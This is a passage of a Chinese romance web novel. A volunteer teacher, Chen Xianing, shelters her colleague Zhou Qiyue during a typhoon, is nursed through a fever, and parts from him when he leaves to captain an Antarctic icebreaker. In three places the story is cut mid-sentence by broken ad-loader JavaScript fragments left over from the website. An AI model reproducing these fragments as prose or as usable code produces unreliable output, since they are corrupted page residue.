陈夏柠站在床前脱掉湿衣服,用干毛巾简单擦拭身体,换上干衣服,总觉得皮肤黏腻,但也没办法,台风还没走,出门还要被淋湿。 头发也是湿的,她暂且用吹风机吹着,自己忍不住打了个喷嚏。 等她吹完头发,周祈越刚好从隔间里出来,陈夏柠正拎着水壶往杯子里倒水。 “雨变小了,我回家了。” 她循声望过去,周祈越身材优势摆在那,187的身高,白T黑短裤穿在他身上正合适。 更加笃定学校发的就是男款了。 原本她就觉得短袖太大,非得掖在牛仔裤里才行。 周祈越注意到她发愣的目光,走过去抬手在她眼前晃了晃:“我走了。” 结果下一刻。 “阿切——” 陈夏柠没忍住对着他打了个喷嚏。 周祈越:“......” 她尴尬地用手捂住鼻子,嗓音沙哑:“抱歉抱歉。” “你是不是感冒了?”周祈越问,“有感冒药么?” 陈夏柠眨了下眼,平日夏天感冒是常事,所以她会有备用。 周祈越嘱托了句记得吃药,提着袋子走到玄关,正要开门,门外先响起敲门声。 “陈老师,陈老师,你在吗?”是林梅。 几乎是一瞬间,屋内的两人一对视,神色划过一丝慌张。 也许他们俩没觉得有多不妥,毕竟他们可以解释缘由的。 但让一个外人怎么评价,大晚上孤男寡女共处一室,况且对方还是个有传统思想的长辈。 要是让林梅看见周祈越,今晚俩人嘴皮子磨破也解释不清了。 陈夏柠忙不迭站起身,拦住他想开门的举动,给他打个手势,让他藏在隔间里面。 周祈越:“......” 好啊,我就是那个你要藏的人是吧! 没有得到回应,林梅敲门声更激烈了:“陈老师,你在不在?” 陈夏柠盯着不为所动的男人,给他打了个双手合十的姿势——拜托,你不怕唾沫性子,我还怕呢。 周祈越微不可察地叹声气,转身往里走,确认他进入隔间,陈夏柠安心打开门。 林梅穿着黑色雨衣,陈夏柠像个门神似的把人堵在门口,“这么晚您怎么来了?” “这不突然来台风了,我想起学校就你一个人,不太放心。”说话间,林梅已经大咧咧地冲进来。 “我没事,就淋了点雨。”陈夏柠嘿嘿一笑,看她神情应该是有话要说,只能邀请林梅进屋坐会儿了。 林梅脱掉雨衣,放在玄关的凳子上,跟她往屋里进,空间太小,也没其他凳子了,陈夏柠给她倒了杯水,俩人坐在床上聊天。 林梅正不紧不慢地喝着热水,陈夏柠先找话题:“您家人的伤势怎么样了?还以为今天林老师不回来了。” “做完手术就等着恢复了,有小川看着。”林梅喝了口水,正色道,“我还是放心不下学校,之前有台风的时候教学楼坍塌过,这次倒了很多树,我去过办公室了,那些实体书都是你一个人搬的?” 问句带着质疑,陈夏柠有所保留的说:“下午周祈越搬的。”又欲盖弥彰地补了句:“他半个小时前走了。” 林梅拖音长哦了声,相信这套措辞,转问他们俩的拍摄情况,她交待素材取得差不多了,剩下的只需剪辑就行了。 林梅:“陈老师家里有兄弟姐妹么?父母从事什么工作的呀?” 陈夏柠被问得一懵。 每每提到自己的家庭情况就难以说出口,要说自己是孤儿吧,别人只会一番安慰和同情,她也不想听这些话,干脆扯谎:“我是独生女,爸妈都是普通人,在公司工作。” 瞧着她严肃忐忑的神情,林梅笑出声,抬手拍了拍她手掌:“你别紧张,我就是今天知道了个事。” 陈夏柠:“嗯?” “我们家小川说,他喜欢你。”林梅说完这句,又非常有自知之明转述原话,“我当即跟他说,你死了这条心吧,人家陈老师条件多优秀,能看得上你?你配得上人家吗?” 陈夏柠只把他同事,甚至连朋友都不算,但碍于他妈妈在这,她也不能贬低人家,谦让道:“是我配不上他。” “......” 林梅会心一笑,像所有长辈一样,只要谈到对象、恋爱的话题,就忍不住窥探更多:“我看你和周祈越平日相处不错,也经常一起出游,你是不是喜欢他?或者有没有一点好感?” 陈夏柠双手正按着床铺,猛地抓了下床单,余光扫过门帘的方向。 前有狼后有虎的场面又让她遇见了。 听到这个问题, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 隔间的周灰狼支棱起两只耳朵,脸都要贴在墙壁上,认真听着下面的话。 “林老师您想多了,”陈夏柠笑了笑,“我跟他只是聊得来的朋友。” 周灰狼轻叹了声气,兴致缺缺地捞起手机打发时间。 而眼前的林老虎又一副“我懂你”的表情:“也对,那小子比我儿子好不到哪,至少我家小川不是败家子。” “......” 周灰狼内心OS:呵呵呵+10086 我比你家儿子强一万倍! 陈夏柠有替人尴尬的毛病,替在隔间偷听的周灰狼尴尬,也替林老虎不知道隔墙有耳尴尬。 林梅话匣子一打开就容易收不住,话题又转到学校支教的事,问陈夏柠的工作感受等等。 一个小时后,台风已过,雨停了。 陈夏柠眼皮子在打架,林梅这才瞅了眼时间,总算舍得离开。 林梅前脚刚走,她就不困了,原来校长说话还有催眠作用啊。 隔间空荡荡,周祈越硬生生站了又站,蹲了又蹲,出来时脚都麻了。 他看着也困得难受,转身要走,回过身,义正严词地撂下一句:“我不是败家子。” “......” 陈夏柠抿唇一笑,认真重复:“嗯,你不是败家子。” - 昨晚实在太困,陈夏柠直接倒头就睡了,本来想着早上起来一定要洗个澡,谁知一觉醒来面对的是四肢酸痛,浑身发烫。 好了,不用量体温也知道自己发烧了。 她没有备退烧药,起床洗漱,穿好衣服,从宿舍出来正要出校门,碰见来学校的周祈越,他看见她加快脚步,神色严肃,像是有什么话要说。 结果一走近,看清楚她这只病恹恹耷拉着耳朵的小白兔,他皱起眉,问她怎么了。 “我发烧了。”陈夏柠嗓子比昨晚还要哑,说话间不停咳嗽,“正要去诊所买药。” 他问:“多少度?” 她说:“还没量。” 周祈越先带她去办公室,找到医药箱,在她坐着量体温时,他找到退烧药,去饮水机接热水放到她办公桌。 叮咚一声,微信消息发过来,是叶恒。 【周船长,请你后天归船。】 昨晚叶恒打电话说明了下情况,凌极号将带着一批科学家前往南极科考,这是半年前就定下的事,其他船长要么是没有归航,要么是不符合条件,目前公司最熟悉南极航线和凌极号的人也只有周祈越了。 他盯着微信页面迟迟没有回复,转眼看陈夏柠,她拿出体温计。 周祈越接过温度计,一看38.8度,脸色也跟着不好了。 “你赶快把退烧药吃了。”他转身给周诚打了个电话,让他五分钟之内把汽车开到学校门口。 吃完退烧药,陈夏柠微眯着眼,意识半睡半醒的状态,只感受到被人拉着上车。 到医院护士给她量体温,人已经烧到39度,她躺在床上,输着点滴,慢慢睡了过去。 周祈越走出病房打通电话,站在门口透过玻璃窗看到躺在病床上的人,语气沉重得像在肯求人:“叶恒,你帮我协商一下,看看能不能再争取两天的时间。” 电话那边的叶恒未免惊讶,他们眼中的周船长,骄傲冷酷,执行任务严苛到不近人情,在他底下工作的人压根不敢谈条件说什么宽限我几天的话。 叶恒猜想原因:“您是不是身体还没恢复好啊?” 周祈越沉默几秒,叶恒不敢再追问下去了:“我尽量。” “好,谢谢。” 25. 转账520 感冒发烧最难受的是脑袋沉重,压得人无法控制自我意识,神经末梢什么乱七八糟,真实或不真实的画面都会跳出来。 小女孩被推到在地,被一群同学围着,他们呲牙咧嘴,顽劣地指着她嘲笑:“你没爸妈,是孤儿,从垃圾桶里捡来的。” 小女孩刚站起身抬脚走一步,就被推回原地,甚至还有同学将废纸团成团,扔到她身上。 她坐在泥土地上,低着头,双臂抱紧双腿,回归母婴的姿势。 那些废纸团的攻击并不疼,疼的是心口那道伤疤,它本就敏感脆弱,却在此刻无限放大。 她的世界灰暗,满身泥泞,孤零零的,出生就要被抛弃。 为什么她要存在呢? 反正也没人在乎她,就算死了也无人在意。 忽然,有个小男孩挣脱人群朝她冲过来,用自己的身体挡住那些纸团,边厉声呵斥那些人:“你们干什么,都走开!” 他似乎很生气很愤怒,拉开书包,抄出课本毫不留情地砸向他们,最后那群同学吓得作鸟兽散。 小男孩单膝下跪抱住她,轻拍她肩膀:“别怕,我会一直保护你。” 陈夏柠就这么站在远处盯着这个场景,恍然发现被抱住的小女孩是自己。 大概每个女孩小时候都会幻想自己是灰姑娘,在困难的时候遇见一位拯救自己的王子。 那位王子会为她抵挡一切风雨,全心全意地爱她。 告诉她,你不是一个人,我会在身后保护你。 陈夏柠不禁呵笑,都这个年纪了,竟然还会做这种玛丽苏的梦。 于是,她挣脱病毒,掌控自己的意识,缓缓睁开眼。 也不知现在是什么时间,只记得自己来了医院。 她下意识望向头顶的输液瓶,还有半瓶,视线下移,落在窗户位置。 周祈越翘着二郎腿,坐在沙发扶手边,单手支着脑袋,阖着眼打瞌睡。 他的睫毛黑长浓密,眉眼松弛,唇角微微上扬,噙着笑。 谁能想到平日难伺候不好惹的大少爷,睡觉的样子像只乖巧的小奶狗。 窗外寂静的夜晚,他肩膀上方就是月牙,好像托举着整个黑夜的光。 顷刻间,陈夏柠觉得他又穿进一副画里。 画中人永远梦幻潇洒,雍容华贵。 这幅画的名字应该叫,岁月静好。 岁月不静好的那刻就是周祈越毫无征兆地睁开眼,跟她对视,语气轻佻:“再看,我就要收费了。” “......” 陈夏柠心口一紧,眨了眨眼,强装镇定:“我是在欣赏月亮。” 周祈越伸了下懒腰,从沙发上起身,走过来接话:“嗯,你没有趁机欣赏我。” “......” 陈夏柠哑口无言,做贼心虚地打哈欠。 周祈越拿起床头一只什么东西,附身时他整个阴影笼罩,挡住白炽灯落下的光。 见状,她警觉地抬手挡:“你干什么?” “量体温啊。”他动作一顿,悬空着手臂。 陈夏柠拿开胳膊,他手中的体温枪对准她额头。 周祈越瞅了眼她体温,有所下降,收回手时,拖腔带调地问:“不然你以为——我要干什么?” “......” 陈夏柠侧过身咬了下唇,恍然觉得自己脸色发麻,体温又上升了。 周祈越捞起凳子坐在她床边,打开手机外卖平台,一目扫视下去:“想吃什么,黄焖鸡还是牛肉饭?” 陈夏柠:“太油了。” 周祈越:“三鲜米线?” 陈夏柠:“吃腻了。” 周祈越:“小炒菜?” 陈夏柠:“没胃口。” “......” 他目光移挪开手机屏幕,定在她背影,皮笑肉不笑:“陈夏柠你还挑上了是吧。” 陈夏柠转过身看他,怀着想将他一军的心态,揶揄道:“上次你受伤不也这样?” 这样难为人。 周祈越满脸写着我哪样了,说出下句:“哦,所以你是在报复我了?” “倒也不是,”分明有这方面的原因,陈夏柠露出无辜的小眼神,“我生病时胃口本就不好——” “也就想喝点孟记包子铺的苹果小米红枣枸杞粥了。” 后半句她有口无心地说出来,周祈越偏偏逮着这句呵呵一笑:“行啊,已经开始提要求了,你这种行为属于把我当成——” 当成男朋友使唤了。 人都有意见了,陈夏柠有眼力劲儿地坐起身,想拿手机点单,找了一圈想起压根没带,只能眼巴巴盯着正在低头玩游戏的大佛,跟他谈条件:“你随便帮我买份粥,我给你双倍钱。” “......” 周祈越眼角弯了弯,这才切换手机页面:“要喝什么来着,苹果玉米?” 陈夏柠:“苹果小米红枣枸杞粥。” “......名字这么长,生怕别人不知道配方。”周祈越边搜边吐槽,目光一顿,旋即抬眼看她,“你再说一遍。” “......” 陈夏柠又说了一遍名字,问:“几点了,不知道他家店铺有没有在营业,或者你换其他家也行。” 周祈越收好手机:“当然有,下单了。” 恰好这时她的药瓶下完了,周祈越出门去喊护士,本以为可以拔针了,不料护士又拿一瓶刚配好的药水换上。 护士走后,周祈越还没回来,静谧的房间只剩她一人,她睡不着,百无聊赖地看一本医学杂志打发时间。 杂志讲述了一位恐惧症患者,他曾经在暴雨天气发生车祸,从此只要下雨和打雷,他就不敢出门,会感到焦虑不安,长此以往出现了记忆混乱。 陈夏柠眨了眨眼,目光聚集在恐惧症三个字。 “在看什么呢?” 周祈越的声音倏然出现,她合上杂志,抬头问他:“你去哪了?” “出门碰见一个朋友多聊了几句,顺便拿了外卖。”周祈越拎着塑料袋放到移动餐桌上,拆着包装,一碗热腾腾的苹果小米红枣枸杞粥映入眼帘。 陈夏柠拿起勺子,抬眼问:“怎么就一份,你没给自己买吗?” “都九点半了,我早就吃过晚饭了。”周祈越从口袋里掏出一小袋白砂糖,问她要不要放粥里面。 陈夏柠点点头。 他撕开包装,放进粥里面,她搅着粥,想起这是第二次周祈越看护她住院。 以前听说,一段友谊的开启就是在相互麻烦之间开展的。 不过细算下来,她麻烦他更多一些。 “对了,你说碰见朋友,”陈夏柠舀着粥小口喝着,随口问,“你朋友也生病住院了吗?” 周祈越正在专注打游戏,闻言正色瞧她:“你这么关心我、的事?” “我是想着你可以不用管我,”陈夏柠也是不好意思总麻烦他,“可以去看看你朋友,或者回家。” 话音落,他手机屏幕响起一道枪声:“你已阵亡!” “......” - 陈夏柠这次发烧较为严重,被查出来有轻微的肺炎,又在医院输了两天的液。 第三天她体温彻底恢复正常,虽然还有点轻微的咳嗽,医生嘱咐吃药就可以了。 算是请了三天假,早上起来戴上口罩,她想着还能给学生上课。 办公室的窗户已经修好,陈夏柠这回长记性了,先是去办公位后面有没有人。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 结果还真有,周祈越躺在沙发上,眼睛盯着天花板睁得挺大,倒也把她吓一跳。 “你...你在这发什么呆?”陈夏柠纳闷,莫非这就是传说中的睁眼睡觉。 他没什么情绪,慢悠悠地坐起来:“吃早饭了没?” “还没,正要去。” 周祈越指着自己办公桌上一堆五花八门的早餐,意思是她可以随便选。 “哇,你发财了。” 不,他家本来就是暴发户,陈夏柠改口道:“你打劫早餐店了?” “......” 周祈越勾唇一笑,坐在办公位,俩人就间隔着狭窄的过道,陈夏柠在吃饭,他盯着手机没说什么话。 “我算了算你付过的医药费,五百。”陈夏柠正在计算机上得到这个数字,恍然想起了什么,“对了,还有承诺付你两倍的粥钱。” 很快,周祈越的手机就响了。 小柠檬:[转账:520] 周祈越想起他曾经让她转五百二,她转了五块二的事,笑着低喃:“终究还是转了。” “......” 紧接着,陈夏柠的手机也响了,他发来一个压缩包。 她吃完包子,正咬着吸管喝豆浆,刚点开压缩包解压,他极其突兀地来了句:“我要离开朝阳岛了。” 陈夏柠怔懵了三秒,硬生生扭头看他:“就因为校长说你败家子?” “......” “昂。”周祈越噙着笑,悠悠地说,“我这就去干正经工作了。” 陈夏柠:“什么工作?” 周祈越:“按照你的建议,回归本专业。” “那还挺好的。”按理说他找到工作她应该开心,陈夏柠抿唇一笑,“什么时候走?” 周祈越从座位上起身,揣好手机,说:“现在。” “现在?!”陈夏柠也猛地站起身,明知道会有这么一天,还是忍不住震惊,“你和校长说过了吗?” “嗯,说了。” 周祈越瞧着她的表情,轻笑了下,将话说的暧昧:“怎么,舍不得我啊?” “就是觉得挺突然的。”陈夏柠垂下眼,形容不了此刻的心情,只能表示祝福,“那祝你好运,工作顺利。” 周祈越:“别难过啊,我们还会见面的。” 陈夏柠隐藏好那些复杂的情绪,坦然地说:“我没有啊。” 那些复杂的情绪是什么呢? 后来她才知道,从遇见周祈越第一天开始,有些事情就已经转变了。 她是一个不怎么记日子的人,晚上趴在床上玩手机看到日历,已经是八月了。 七月走了,周祈越也走了。 有些人突然地出现,又突然地离开,说的就是他吧。 想到这,陈夏柠又伤感又好气,双手锤着枕头:“走就走吧,这个自恋鬼,你走远点,我也清静了。” “......” 就在这时,微信传来他接受转账的通知。 July:【我刚刚打了个喷嚏,你是不是在背后骂我?】 陈夏柠心道就是,盘着双腿,将枕头夹在怀中,捧着手机敲字:【我连续打了两个喷嚏,你是不是骂我两次?】 周祈越那边秒回:【记得吃药。】 简简单单的四个字却有一语双关的作用,有病或者“有病”。 即使人不在眼前,他这张嘴依旧会出招。 陈夏柠哼哧一声,暂且往友善的方向想:【好。你呢?】 周祈越拍了一张工作餐的图片:【刚忙完,在吃晚饭。】 行啊,挺会接招。 陈夏柠忙不迭下床扣感冒和咳嗽药,放在手心里,拍照片发过去:【我也在吃了。】 26. 海风 进入八月就没有那么热了,朝阳岛的天空依旧很蓝,云层时常压得很低,似乎触手可及。 没有课的时候,她照旧喜欢坐在屋檐下感受远处的海风。 清爽、细腻、温柔。 这三个词从脑海里蹦出来时,也随之映现出那位穿着蓝色衬衫长得俊秀潇洒的男人。 周祈越。 他像一阵海风,悄然吹进她的生活,又不留痕迹地离开。 陈夏柠正思绪神游着,董川喊了好几声,她才回过神,茫然地抬头。 “怎么了?” “我妈说,梧桐县新开了一家电影院,”董川摸了摸后颈,讪讪地说,“不知道你有没有时间一起去看个电影?” 自从知道董川喜欢她后,陈夏柠更加注意跟他保持距离,这次也一样,站起身礼貌笑了下:“抱歉,我不喜欢看电影,最近也很忙。” 说完,她头也不回地往校门口走,留下一道瘦小又决绝的背影。 从认识她到现在,董川一直觉得女神不愧是女神,高岭之花,冷漠的很。 临近晌午,下午她没课,陈夏柠打算骑车去个新地方吃饭,顺便逛一逛,电动车周祈越留下了,他说离开的时候交给周诚就行。 陈夏柠挺喜欢骑电车行驶在乡间小路,迎面的风能把人的坏情绪全部冲走,所以每次出游回来整个人都会有着焕然一新的轻松感。 这还是周祈越教她的解压方式。 ——“你只需要目视前方,一路畅通无阻地穿过去,你会感觉到世界就在眼前。” ——“这条路是你自己的,你想怎么过怎么活,全由你主导。” 不得不说,他这人正经起来挺像个哲学家人生导师,出口成章。 陈夏柠也不知道自己来了什么镇,小镇挺热闹,她停好电车来到一家面馆,点了一份热干面。 服务员把面端过来,她刚吃一口,周祈越微信图片就发过来了:【咖喱饭,没我做的好吃。】 自从那天后,他每天都会给她发自己吃饭的图片,成为两人心照不宣的分享。 陈夏柠也将自己的热干面拍照发过去:【没有海云市的正宗。】 Lemon:【不过你这工作餐看着挺精致呀,这摆盘挺像大厨级别的[吃瓜]】 July:【的确是出自大厨之手,但就是比不上我[傲慢]】 陈夏柠盯着他发的表情包嘿嘿一笑,和周祈越一样傲慢。 她笑起来时,眼睛跟月牙似的,又加上她肤白貌美,给人以乖巧甜美的印象。 不禁吸引了隔壁一桌的男生投来目光,其中有位胆大的男生走过来,伸出手机:“你好,可以认识一下吗?” 陈夏柠打字的指尖顿了下,抬眼一看,面前站着一位长得不错的小奶狗。 “我有男朋友了。”这是她从许佳念那里新学的一套有用又干脆的拒绝措辞。 她敛去笑意,绷着脸,秒变清冷孤傲的模样,小奶狗都怀疑自己方才眼花了,赶紧落荒而逃。 陈夏柠收回视线,对话框停留着还未发送的一句“那下次见面尝尝你做的咖喱饭”。 一股脑热编辑出来的,她不敢点发送了。 总觉得这句话不太合适,甚至有点......暧昧。 正在纠结时,周祈越的消息发过来了,他引用她的消息:【下次见面让你尝尝我做的热干面,绝对正宗。】 好吧,他都能那么坦然,陈夏柠也觉得没什么了,点击发送。 July:【行,看在你这么想跟我见面的份上,我争取早点从南极回来。】 什么啊?! 怎么就成了我想见你了? 虽然了解周祈越不正经的时候总爱开这种玩笑,但这回隔着屏幕,陈夏柠被他的话挑得脸红耳热。 冷静下来后,她瞳孔聚焦在后半句话。 Lemon:【南极?你跑船这么远吗?】 July:【对,知道凌极号么?】 陈夏柠这艘船的名字有点印象,专门去百度搜了下,这是一艘破冰船,专供极地科考使用的。 她记得海大的确有校友在这艘船上工作,估计周祈越也就是一名小小的船员吧。 俩人没继续聊下去,周祈越吃饭时间有限,要转去工作了。 - 陈夏柠吃完热干面,从店里出来没去骑车,外面的集市实在多彩,她慢悠悠地逛着。 路过北街十字路口,人群集中嘈杂的地方,没什么交警和红绿灯,有辆三轮车正在倒车,有位拄着拐棍的老人直直地往前走。 陈夏柠距离老人不远,赶紧上前把她拦住,也是到眼前才认出,老人不是其他人,是王小壮的奶奶,她看不见。 无端被人抓住胳膊,王奶奶浑身瑟缩了一下,以为碰见什么坏人了。 “王奶奶,我是陈老师,王小壮的老师。”她一开口,王奶奶认得她声音,放下警惕,“记得记得。” “您怎么一个人出来了?”陈夏柠说,“刚刚您前面有辆车,差点撞上去。” 王奶奶啊了声,说自己来过这里很多遍了,看不见但熟悉路,方才她是想去街对面买孙子喜欢吃的橘子。 陈夏柠打量着老人独自拄拐棍的样子,心一酸,搀扶着她去对面买橘子,买完橘子她也不放心,索性骑着电车带她回家。 回去的路上,碍于有老人在,陈夏柠骑得很慢,速度堪比乌龟了。 王奶奶坐在后座问:“听小壮说,周老师走了。” “是的。”陈夏柠漫不经心道,“他找到其他工作了。” “那挺好,”王奶奶说,“小壮挺舍不得周老师,还偷偷在被窝里哭鼻子。” 陈夏柠跟听到什么惊天新闻似的,王小壮还会舍不得周祈越,他不是巴不得周祈越走吗? “啊,我没听错吧,小壮什么时候对周老师的感情这么好了?” 王奶奶笑着说:“你还不知道吧,前段时间小壮爷爷摔伤了胳膊,周老师给他爷爷买了好多补品,送他去医院复查,还亲自帮我们料理鱼塘。” 陈夏柠呼吸一顿,挺意外的:“我的确不知道,也没听小壮说。” “那孩子心高气傲的,爱面子,自然不会说。”王奶奶扭回话题,继续说,“周老师来我家次数多了,也会帮小壮辅导作业,那孩子嘴上不说,行动却很听话。” “周老师给他辅导功课,他就真不调皮,老实巴交地听讲了。” “我第一次看见他认真学习的样子,差点以为太阳从西边出来了。” 陈夏柠不禁跟着笑了下,又想起那天她问他,王小壮怎么听话了。 ——“当然是被我的魅力征服了。” 当时只以为他在自恋,没放心上,现在得以求证。 王小壮的确转变了许多,活泼的性格没变,但也不怎么惹事,主动愿意学习了。 将王奶奶送回家时,刚好王爷爷也在,他胳膊已经痊愈,陈夏柠松了口气,特意嘱咐两位老人以后多加小心,尤其是王奶奶,出门必须有人跟着。 - 晚上回到宿舍,陈夏柠闲来无事打开周祈越发的压缩包,里面是剪辑好的航拍视频片段,她这几天也整理了下自己的素材,一并放到视频剪辑软件里合并,删删改改,差不多耗费两个小时。 完工后,陈夏柠第一个想到的是发给他看看,周祈越暂时没回。 等了一会儿依旧没得到回复,她重新检查了一遍,自认为尽自己所能了,分别发给林梅和王书记。 此后一周,因为校长和董川都在,陈夏柠的工作并不忙,时不时盯着手机,没人知道她在想什么。 周祈越一直没给她发消息了,是因为在海上信号不好,还是工作太忙? 忙到连续一周都回不了她的消息。 陈夏柠也不知自己在失落什么。 为了打发时间,她做完了第二个宣传视频,当天晚上她眼睛酸涩得不行,躺在床上闭眼休息会儿,静悄悄的房间只剩下自己的心声。 其实,周祈越不过就是她生活里一个过客而已。 虽然他帮了她很多次,可他也帮别人啊,想到了他对王小壮一家的善举。 或许,周祈越这人天生热心,对待所有人都不错。 再特殊点,他两只能算得上阶段性朋友。 这段 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 友情只延续在朝阳岛,一旦有人离开,我们所说的下次见面不过就是最后的寒暄而已。 她真的没有必要当真。 所以,她失落是因为失去了一个不错的朋友。 “他肯定也是把我当成过客,所以不理我了。” 陈夏柠霍然开朗,从床上坐起来,自我疏导着,“没事儿,过段时间就好了。” 然后又过了一周,八月底是她离开朝阳岛的日子,快走的时候又恋恋不舍地想多待几天,海大新生开学,很多事情都需要导员,王书记也一直在催她快回去。 相当于她这个暑假没有假期,回去就要工作。 关于电车的问题,陈夏柠正想联系周诚,他先一步给她发消息:【听董川说你明天走。这样吧,我骑车送你到车站,然后再骑车回家。】 陈夏柠正愁这事儿,欣然同意。 为了避免来时的突发情况,陈夏柠选择上午九点从学校出发,她正站在校门等周诚,学生们一蜂窝跑过来围着她,跟她道别。 冯志鑫抓住她衣角,红着眼睛:“陈老师,你是不是以后都不来了。” 其他同学也露出伤感的表情,对于留守儿童来说,他们最怕离别。 陈夏柠被这氛围搞得也难受,做好表情管理,笑着跟大家说:“不会啊,我不仅会回来看你们,还会有更多人来。” 她已经和书记提议调动大学生前来支教的事,再加上宣传视频的传播,这个提案很快就能付诸实践。 “是啊,你们要是想陈老师,她就会回来看你们。”林梅走过来附和,随后看着学生们,激情地调节氛围,“看在你们暑假听话的份上,不检查你们暑假作业了,直到开学前也不上课了,带你们出游。” 同学们纷纷跳起来:“好耶好耶。” 陈夏柠望向林梅,后者对前者欣慰一笑。 很快,周诚骑车来了:“走吧,陈老师。” 陈夏柠将行李放到前面,坐上后座,随着车子驶远,希望小学和那里的人与她渐行渐远。 她收回目光,对着前面的周诚说:“谢谢你还送我一程。” “不用谢,我只是受人所托而已。”周诚悠悠地说,“你猜是谁?” 陈夏柠垂眸,眨了下眼。 “我的远房堂哥。”周诚轻笑了下,解释她的疑惑,“我跟周祈越的关系就是,我们的爷爷是亲兄弟,算得上远亲,但我们的爷爷健在,关系比较好,两家走动频繁。” 陈夏柠嗯了一声,旁敲侧击道:“他什么时候给你发消息帮忙的?” “他走之前说的,走了之后就跟人间蒸发了似的。”周诚习以为常地说,“他们这些跑船的就这样,一出海就与世隔绝。” “现在船只配有雷达系统,更何况他所在的科考船通讯信号应该很好。”陈夏柠找出他说话的漏洞,顿了三秒,“不会与世隔绝的。” “那我就不知道了,我跟他发消息,他不搭理我。”周诚咧咧嘴,“可能这位大少爷真的很烦我吧。” 陈夏柠眸色一沉,抿了下唇,他可能也烦我吧。 周诚后知后觉说:“你都知道他在科考船了,你们有联系?” 她摇摇头,淡淡道:“没有,他走之前说的。” 这波操作周诚就搞不明白了,一边贴心地托人送她离开,又一边不联系人家。 周祈越到底喜不喜欢她,周诚依旧很疑惑,还是说他在采取什么欲擒故纵的追人策略。 到了客运车站,陈夏柠下车跟他道谢,周诚难得不抢周祈越的功劳:“你跟他道谢吧。” 毕竟他已经占了周祈越太多便宜,到头来周祈越不仅没让他还钱,也没跟他计较刮伤车的事,最后在周祈越的顶替之下,父亲对他的态度改观了许多。 这么一想,周诚倒要感谢他了,于是良心发现,没忍住喊了声陈夏柠。 她拉着行李箱回头:“怎么了?” “跟你说个事,你和校长认错人了。”周诚挠着头,讪笑了下,“其实我才是你们口中的那个败家子,周警官的儿子。” 撂下话,周诚骑车跑走。 陈夏柠愣了下:“你没开玩笑吧?” 27. 船长 抵达海云市正值中午,陈夏柠先把行李寄存到地铁站,自己随便找了家餐馆吃饭,想起许佳念老早念叨着她回来,点开俩人的微信对话框。 Lemon:【回来啦[可爱]】 念念不忘:【在哪!!快点让我见到你[抓狂]想死我了!】 陈夏柠笑了笑,自从回国之后,朋友当中和她联系最频繁的就是许佳念了,她这人还跟学生时代一样是个话痨,每天总会很多很多倾诉欲,吐槽工作同事,是那种喜欢用朋友圈记录生活的人。 而陈夏柠呢,是个很好的倾听者,倾诉欲不强,一个人在澳洲读研三年,封闭了朋友圈,没人知道她过得怎样。 Lemon:【我在学校附近吃午饭,下午还有会议要参加。】 念念不忘:【工作狂,无缝衔接[emm]】 Lemon:【这不是快开学了吗,就是简短地去开个会,听一下新学期的工作安排,要是结束后还有时间再约?】 念念不忘:【O了个K.jdp】 陈夏柠收好手机,起身回校,暑假的校园依旧热闹,很多学生选择留校,主要是由于城市魅力。 海云市是一座繁华的大都市,年轻人争着抢着想来这里发展,学生们趁着假期在这实习和游玩,有着免费的宿舍,他们何乐而不为呢。 一路走过去望着那些稚嫩青涩的面孔,陈夏柠恍然有着自己还是学生的错觉。 她不过刚毕业第一年,从校园回归校园,从外表上来看,她年轻漂亮,身上还沾染着青春气息,但心境终究和他们不同了。 工作群里正在催人,陈夏柠快步往航海学院走,路过大厅门口脚步一顿,一条红色的横幅格外扎眼:【热烈欢迎陈氏集团来校融资合作】 “我们学院来什么大人物了?” “听说是陈老爷子的小儿子陈京辉。” “哦,就那个有名无实的董事长是吗?”鹿雯说完这句,宋月耸了耸肩,前者扭过头看向左边沉默不言的同事,“陈老师,你吃过陈氏集团的瓜么?” 陈夏柠后知后觉回过神,眼底幽暗,摇了摇头:“我比较孤陋寡闻。” “我跟你讲——”鹿雯偏头靠过来只说了前奏,宋月猛地拉了下她衣摆,提醒王书记来了。 顷刻间,整间会议室的八卦到此结束,导员们正襟危坐地噤声,等着那位王书记说话,他脸型四方,戴着方形黑框眼镜,比诸位导员年长十岁,虽然平日好说话,但气质自带威严。 他这人没什么领导架子,开会不说废话,直切要点,导员们听得也认真。 “我还是那句话,不管你们带哪个年级,迎新工作都要参与进来。” 王书记给每个导员分配了下任务,将督促学生会接待新生的工作分给了陈夏柠,她点头说了句好。 一看到她,王书记想起了什么:“陈老师,你来接替庄可的工作吧。” 陈夏柠愣了下,其他同事面面相觑,表情比当事人还要精彩。 从二月份入职以来,她就在接替上一位导员的烂摊子,带着大四毕业班的学生顺利毕业。好不容易结束了,现在又要接替庄可,庄可是因为怀孕休产假,她的学生开学就是大二年级。 陈夏柠:“那庄老师恢复工作了,我.....” “她估计得休六个月,后续的事情再看吧。”说完,王书记便转移话题,安排其他事宜。 六个月后刚好是她考察期结束的时间,也决定了她能不能继续留任。 会议结束,陈夏柠拎着包起身,鹿雯拍了拍她肩膀,以过来人的身份勉励:“没事儿,好好干,肯定能留任的。” 陈夏柠淡然一笑:“嗯,谢谢鹿老师。” 导员的办公室在五楼,走廊呈现环形,她站在直梯的入口等电梯,不远处传来一群人的谈话声,陈夏柠自然能识别出陈京辉的声音,她没有回头望,而是不停地按电梯按钮。 在感觉到那群人的脚步声朝这边时,陈夏柠干脆转身往楼梯口的方向,刚走两步,身后就响起那道浑厚的嗓音:“夏夏。” 她僵在原地,手指握紧挎包的肩带,迟迟不敢转身。 陈京辉主动走过来,问:“听你妈说,你在当辅导员?” 陈夏柠侧过半边脸:“嗯。” “挺好的。” “......” 昔日的父女变得比陌生人还可怕,陈京辉还想说什么,但场面实在太僵持,只是说:“有空回家吃个饭。” 陈夏柠跟他颔首,礼貌维持体面:“您确定好时间,我去收拾自己的东西,或者你们丢掉也行。” 陈京辉绷着唇,没再说什么,转身回到电梯口,那群人还在等他。 “陈总,那是你女儿吗?” 隔着五米的距离,陈夏柠抬脚往前走,身后落下陈京辉淡淡的语气:“我女儿的朋友。” “......” - 学校门口就有个地铁站,陈夏柠取完行李,原本想和许佳念约见面,房东发消息说,想跟她协商一下出租房的事。 只能暂且鸽了许佳念,坐两个半小时的地铁回城西新元区,那地方偏了点,但租房条件不错,价格也亲民。 